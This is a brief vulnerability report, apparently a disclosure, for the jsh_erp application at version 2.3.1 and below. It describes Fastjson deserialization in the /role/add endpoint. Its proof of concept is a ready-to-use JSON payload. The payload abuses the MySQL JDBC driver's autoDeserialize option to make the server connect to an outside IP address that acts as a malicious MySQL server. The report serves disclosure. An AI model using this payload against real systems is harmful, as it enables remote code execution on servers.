jsh_erp4

The /role/add endpoint is vulnerable to a Fastjson deserialization attack.

Vulnerable Versions: <= v2.3.1

Vulnerable Endpoint: /role/add

Proof of Concept (POC):

1
info={"name":"22","type":"","description":{"@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"120.26.138.45","portToConnectTo":3308,"info":{"user":"user","password":"pass","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","NUM_HOSTS":"1"},"databaseToConnectTo":"d645873","url":"xxx"}}

Details:

image-20250601173000687